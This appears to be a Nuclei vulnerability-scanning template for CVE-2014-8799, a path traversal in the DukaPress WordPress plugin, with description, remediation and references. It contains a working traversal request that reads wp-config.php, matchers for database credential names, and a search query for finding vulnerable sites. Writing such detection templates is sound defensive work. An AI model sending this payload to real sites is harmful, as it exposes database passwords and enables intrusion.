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WordPress Plugin DukaPress 2.5.2 - Directory Traversal

ID: CVE-2014-8799

Severity: medium

Author: daffainfo

Tags: cve2014,cve,wordpress,wp-plugin,lfi,edb,dukapress

A directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.

id: CVE-2014-8799
info:
name: WordPress Plugin DukaPress 2.5.2 - Directory Traversal
author: daffainfo
severity: medium
description: A directory traversal vulnerability in the dp_img_resize function in php/dp-functions.php in the DukaPress plugin before 2.5.4 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the src parameter to lib/dp_image.php.
impact: |
An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the server.
remediation: |
Update to the latest version of DukaPress plugin (2.5.3 or higher) which contains a fix for this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2014-8799
- https://www.exploit-db.com/exploits/35346
- https://wordpress.org/plugins/dukapress/changelog/
- https://exchange.xforce.ibmcloud.com/vulnerabilities/98943
- https://plugins.trac.wordpress.org/changeset/1024640/dukapress
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2014-8799
cwe-id: CWE-22
epss-score: 0.17844
epss-percentile: 0.9615
cpe: cpe:2.3:a:dukapress:dukapress:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: dukapress
product: dukapress
framework: wordpress
google-query: inurl:"/wp-content/plugins/dukapress"
tags: cve2014,cve,wordpress,wp-plugin,lfi,edb,dukapress
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
- "DB_USER"
- "DB_HOST"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100a88fedd822abb8e9a4f3e6b102ebb20d519b355a303a0bd3236100724802ed61022066771a26031a21088dcd8ed4cf36ff510858cf09edf5b28505e51e820e8dcc9f:922c64590222798bb761d5b6d8e72950

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